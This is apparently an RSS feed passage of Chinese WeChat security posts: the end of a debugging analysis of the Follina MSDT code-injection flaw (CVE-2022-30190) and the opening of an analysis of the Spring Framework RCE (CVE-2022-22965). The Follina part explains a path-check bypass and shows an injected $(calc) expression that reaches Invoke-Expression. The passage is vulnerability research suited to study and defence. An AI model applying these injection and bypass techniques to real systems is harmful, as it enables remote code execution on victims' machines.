auto;max-width: 100%;" data-type="png" data-w="1646" src="https://wechat2rss.xlab.app/img-proxy/?k=6138ba47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCT7Y6C7I8gmh4qiaeWksEKWMD7xjtKHpUSMvia7KKwPBNL8Qh4rMbSdxw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">查看<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">TS_ProgramCompatibilityWizard.ps1</code>的内容，首先获取 msdt 参数中 IT_BrowseForFile 部分的内容并调用<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Test-Selection</code>方法检查参数是否符合要求：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5165714285714286" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=5f0db6ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCRC6FBtGGOrzUSyfwiajXyIibT8s2feSMfWGJCpty7ueA694ibC66rb0iag%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Test-Selection</code>首先检查了 IT_BrowseForFile 传入的路径是否存在，接着检查路径后缀名是否为.exe 或.msi，符合这两个条件表示路径合法</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5579868708971554" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="914" src="https://wechat2rss.xlab.app/img-proxy/?k=f73f83e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCKP1q8KLxibKeQ2QMmibjIWrUqmXRtCcg2aGU1icAaw07KuPiaGSibwYLINw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">尽管/../../已经超出了 C:/的根路径，但是<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">test-path</code>方法返回的结果仍然为 True，因此路径被判定合法：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8819444444444444" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="864" src="https://wechat2rss.xlab.app/img-proxy/?k=2fd6c9df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCjdcAXE3WyLIMFTAn6m9sDbVkMX1ZS29DjcZEy7G1wjEe5G9GjYVuEA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">随后通过<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace(&#34;$&#34;, &#34;`$&#34;)</code>来过滤传入的路径，测试了 appname 的过滤效果，发现执行了过滤语句后$(calc)仍然存在</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.19117647058823528" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="748" src="https://wechat2rss.xlab.app/img-proxy/?k=5509975f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCnTAvDAN3dLeibNyiaaY0TpYNBK3ibmoExSLqQAZAmqOn3Ntc3Kl9bPhnw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">最终调用 Update-DiagRootCause 方法，且传入 TARGETPATH 和 APPNAME：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.49836065573770494" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1220" src="https://wechat2rss.xlab.app/img-proxy/?k=d484bb96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgChby5t8m9yKpAzll4OIDrwEaS3OaDnSbxrQemm11icCMTzBcnPnQ5iaag%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">在 dnSpy 下断于<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootCause.ProcessRecord()</code>方法，点击运行后成功断下：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.665158371040724" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1105" src="https://wechat2rss.xlab.app/img-proxy/?k=49cc917d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCYMxfhBXUibyS6ubkYvtzUtfchLpvr81mhTmOvadQB1CSJ61gibmG8lbQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">继续向下调试，调用了<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">scriptedDiagnosticInteraction.RecordRootcause</code>，且将 APPNAME 和 TARGETPATH 作为参数传入：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7006673021925643" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1049" src="https://wechat2rss.xlab.app/img-proxy/?k=005b8d83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCBtJJYcibYVKK2EoBvHSzMd7kTCtayGClCCSypf2gS2SicmBTuqSEUkaA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">继续运行，发现停在了<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">RunScript</code>方法，且参数正是 APPNAME 和 TARGETPATH，说明通过调用<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">scriptedDiagnosticInteraction.RecordRootcause</code>方法执行了脚本<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">RS_ProgramCompatibilityWizard.ps1</code>，并且将参数 APPNAME 和 TARGETPATH 传入到脚本中：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5914362176628011" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1121" src="https://wechat2rss.xlab.app/img-proxy/?k=e5c2085b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCUa0iby6xYnKQEgxytvCFlHzYOmJlkDW5e8ZGrQnjUdjicIhWmHOqUN7g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">脚本接收两个参数，并赋给变量$targetPath和$appName，检查$targetPath 是否为可执行文件：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.27208480565371024" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="566" src="https://wechat2rss.xlab.app/img-proxy/?k=a880fcd0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgC7q4JR5Vo9VcVAsdDxyrX65GYar3sMuIrfzAQNZhBfAUu4dScUFk5hA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">随后分别将<span style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">$targetPath和$appName</span>当作命令行参数赋给$getDiagCmd，此时命令行中会有注入的代码<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$(calc)</code>：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.2886524822695035" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1410" src="https://wechat2rss.xlab.app/img-proxy/?k=98ab855e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgC5OkUzw0Mic4MPn9IgJSdH6KXRQ9N8MfrQMZb1vICJoibt2qQlLFjJuhQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">最终执行命令行，触发代码注入：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.26337448559670784" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="729" src="https://wechat2rss.xlab.app/img-proxy/?k=7b7caac1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgC2ZBFbcULkZuZagwiaoZa99ts8H8iakdfwvc7icYiaVsyxTuF0X5TBYPhbA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">由于在命令行中既有$targetPath，又有$appName，猜想在执行命令时应该会执行两次 calc：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8516355140186916" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="856" src="https://wechat2rss.xlab.app/img-proxy/?k=e0ecc818&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCicvZHicRyUKOY2iaNuBhx8XSCtsq3JOb5fJJNDcfkuMMkSyhPI3pSlybQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">查看 procmon 的日志，确实发现 sdiagnhost.exe 创建了 calc.exe 两次，验证了猜想：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.46987951807228917" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1660" src="https://wechat2rss.xlab.app/img-proxy/?k=d41b6fa5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCiaLMaRGto1RwqM8cforWo1WKHcdWwQnstvnaibOZyGW2o42T7jwM0LgQ%2F640%3Fwx_fmt%3Dpng"/></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>总结</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">样本利用 Office 远程模板访问远程 html，并利用<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">mshtml!ShellExecURL</code>函数解析了 URI，调用了 msdt.exe。msdt 调用 PCWDiagnostic 程序兼容性诊断包，构造了特殊的 IT_BrowseForFile 参数绕过了<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">TS_ProgramCompatibilityWizard.ps1</code>对于路径是否存在和后缀是否为可执行的校验，将路径作为参数传入并执行了脚本<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">RS_ProgramCompatibilityWizard.ps1</code>，该脚本检测路径后缀为.exe 后便直接调用<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Invoke-Expression</code>执行了命令行，由于命令行中嵌入了表达式<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$(calc)</code>，造成了代码注入触发漏洞。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">漏洞本身并不复杂，利用也很简单，但是嵌入 rtf 格式文件配合预览窗格能构成一个 Zero-click 漏洞，产生的危害还是很大的。分析漏洞的过程中也学习了很多 dotnet 程序的调试技巧和 PowerShell 命令行的执行流程，感谢各位师傅精彩的分析文章。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>参考链接</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">[1] CVE-2022-30190 MSDT 代码注入漏洞分析：<em><a href="https://paper.seebug.org/1913/" target="_blank">https://paper.seebug.org/1913/</a></em></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">[2] Follina Microsoft Office RCE with MS-MSDT Protocol：<em><a href="https://y4er.com/post/follina-microsoft-office-rce-with-ms-msdt-protocol/" target="_blank">https://y4er.com/post/follina-microsoft-office-rce-with-ms-msdt-protocol/</a></em></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">[3] Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit：<em><a href="https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/" target="_blank">https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/</a></em></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">[4] Windows Troubleshooting Platform：<em><a href="https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wintt/windows-troubleshooting-toolkit-portal" target="_blank">https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wintt/windows-troubleshooting-toolkit-portal</a></em></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">[5] CreateUri function：<em><a href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775098(v=vs.85)" target="_blank">https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775098(v=vs.85)</a></em></p></section><p><br/></p>



<p><a href="2247485177">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=917fc94f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247485177%26idx%3D1%26sn%3D68284d0c23974b7a3d310ea342846ad2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 09 Jun 2022 12:06:00 +0800</pubDate>
    </item>
    <item>
      <title>Spring Framework RCE分析（CVE-2022-22965）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247484761&amp;idx=1&amp;sn=1fb47dc04993991cedce35de6fa390d1</link>
      <description>3月29日，Spring Framework 存在远程代码执行漏洞，在 JDK 9 及以上版本环境下，远程攻</description>
      <content:encoded><![CDATA[<p>
原创 <span>p1ay2win</span> <span>2022-04-01 10:49</span> <span style="display: inline-block;"></span>
</p>

<p>3月29日，Spring Framework 存在远程代码执行漏洞，在 JDK 9 及以上版本环境下，远程攻</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a30e30a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD6ORZibjldVnpmmEibficEkJ7c9Lg69boRFS2ORULb2TARzTxodH4GLiccqBWPWVd03y3ibcH6NNcibklmA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">3月29日，Spring Framework 存在远程代码执行漏洞，在 JDK 9 及以上版本环境下，远程攻击者可利用该漏洞写入恶意代码导 致远程代码执行漏洞。</p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>漏洞描述</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">作为目前全球最受欢迎的Java轻量级开源框架，在Spring框架的JDK9版本（及以上版本）中，远程攻击者可在满足特定条件的基础上，通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值，从而触发pipeline机制并 写入任意路径下的文件。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">目前已知，触发该漏洞需要满足两个基本条件：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">使用JDK9及以上版本的Spring MVC框架</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Spring 框架以及衍生的框架spring-beans-*.jar 文件或者存在CachedIntrospectionResults.class</section></li></ul><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>影响范围</span><span></span></h2><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">Spring Framework 5.3.X &lt; 5.3.18</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">Spring Framework 5.2.X &lt; 5.2.20</p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>漏洞分析</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Spring中对象绑定是由<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.springframework.beans.BeanWrapperImpl</code>实现的。在参数绑定过程中，由其父类<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">AbstractPropertyAccessor</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">setPropertyValues</code>方法为请求中所有参数对应的bean对象属性赋值。</p><div style="display: inline;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-s="300,640" style="" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=39abc361&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6ORZibjldVnpmmEibficEkJ7cLePLXK0KKIOCsAUH77IORRL2wEjZI4nf0OZvRalHXZcYdOqcP09Kjw%2F640%3Fwx_fmt%3Dpng"/></p></div><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">跟进到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">setPropertyValue</code>方法，由属性名获取<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">BeanWrapperImpl</code>的方法<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getPropertyAccessorForPropertyPath</code>返回到的是封装了tomcat日志属性的对象<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.apache.catalina.valves.AccessLogValve</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">BeanWrapperImpl</code>。<img class="rich_pages wxw-img" data-galleryid="" data-s="300,640" style="text-align: center;letter-spacing: 0px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=55bdd564&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6ORZibjldVnpmmEibficEkJ7cmkHL6s4uZLA5kpvle1Q49TEibpQr167duKWYUOeicUeicrlkKs3fakBvA%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">再跟进到到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">AbstractNestablePropertyAccessor</code>，发现它的逻辑是会用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">.</code>号分割，递归获取封装对应属性的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">BeanWrapperImpl</code>直到最后一个属性并返回。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy6xjyfmPknoUB5VDt1eZKNCfYw662icCw8KbF7rZkVZUbkYepcQMxQPUYicZyNtZiaY8rqUkkcyup4G/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: 